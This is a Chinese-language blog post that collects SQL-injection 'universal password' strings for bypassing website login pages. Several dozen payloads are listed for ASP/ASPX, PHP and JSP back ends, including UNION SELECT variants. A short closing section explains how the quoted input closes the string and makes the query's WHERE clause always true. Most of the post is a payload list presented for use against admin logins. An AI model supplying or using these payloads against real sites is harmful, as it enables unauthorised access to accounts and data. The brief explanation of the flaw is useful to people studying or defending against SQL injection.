By 团队成员——曾哥
本来不想写这一篇文章了,但是最近自己居然又碰到了,那就放出来给大家见识学习一下。
又是日常水文。。。
先把万能密码汇总放出来再说原理吧:
1#ASP/ASPX 万能密码
1: “or “a”=”a 2: ‘)or(‘a’=’a 3:or 1=1– 4:’or 1=1– 5:a’or’ 1=1– 6: “or 1=1– 7:’or’a’=’a 8: “or”=”a’=’a 9:’or”=’ 10:’or’=’or’ 11: 1 or ‘1’=’1’=1 12: 1 or ‘1’=’1′ or 1=1 13: ‘OR 1=1%00 14: “or 1=1%00 15: ‘xor 16: admin'or 1=1# 17..admin’ or ‘a’=’a 密码随便
附#新型万能登陆密码
1:用户名 :‘ UNION Select 1,1,1 FROM admin Where ”=’ 【替换表名admin】 密码: 1 2:Username=-1%cf’ union select 1,1,1 as password,1,1,1 %23 Password=1
2#PHP 万能密码
1:admin'/* 密码*/': 2:‘or’=’or’ 3:‘or 1=1/* 【字符型 GPC是否开都可以使用】 4:User: something Pass: ‘ OR ‘1’=’1 5:"or "a"="a 6:"or 1=1-- 7:"or"=" 8:"or"="a'='a 9:"or1=1-- 10:"or=or" 11:''or'='or' 12:') or ('a'='a 13:'.).or.('.a.'='.a 14:'or 1=1 15:'or 1=1-- 16:'or 1=1/* 17:'or"="a'='a 18:'or' '1'='1' 19:'or''=' 20:'or''=''or''=' 21:'or'='1' 22:'or'='or' 23:'or.'a.'='a 24:'or1=1-- 25:1'or'1'='1 26:a'or' 1=1-- 27:a'or'1=1-- 28:or 'a'='a' 29:or 1=1-- 30:or1=1--
3#JSP万能密码
1:1’or’1’=’1 2:admin’ OR 1=1/* 3:用户名:admin 【系统存在这个用户的时候 才用得上】 密码:1’or’1’=’1
4#漏洞原理
大家都知道,密码存储在网站的数据库中,在后台登陆的时候,验证密码是否正确,一般都用以下SQL查询语句去查找数据库中的密码
sql=select * from user where username=’username’ sql=”select * from user where username='”&username&”‘and pass='”& pass&'”假设,数据库中存放用户信息的表是user,其中存放用户名的字段是username,存放密码的字段是password,在用户验证页面中用来接收用户所输入的用户名和密码的变量也分别是username和password【按最基础的情况来假设】
当用户在用户验证页面输入用户名和密码后,会提交给如下的语句进行处理:
select * from user where `username` = ‘$userrname’ and `password` = ‘$password’ 【这样,当用户输入用户名’or ” = ‘时,相应的语句就变成了下面这一句SQL命令】 select * from admin where `username` = ‘’ or ‘’ =‘’and `password` = ‘’在这个语句中,where后面所指定的条件,将永久成立,就可以因此,来绕过后台的密码验证,成功进入后台,也就成为了所谓的“万能密码”。
万能密码中开头和结尾的单引号,主要是为了将查询语句中引用变量的单引号闭合。因而掌握了这个特点之后,我们就可以来任意构造万能密码,以上只是一部分例子而已。
By 团队成员——曾哥
发表评论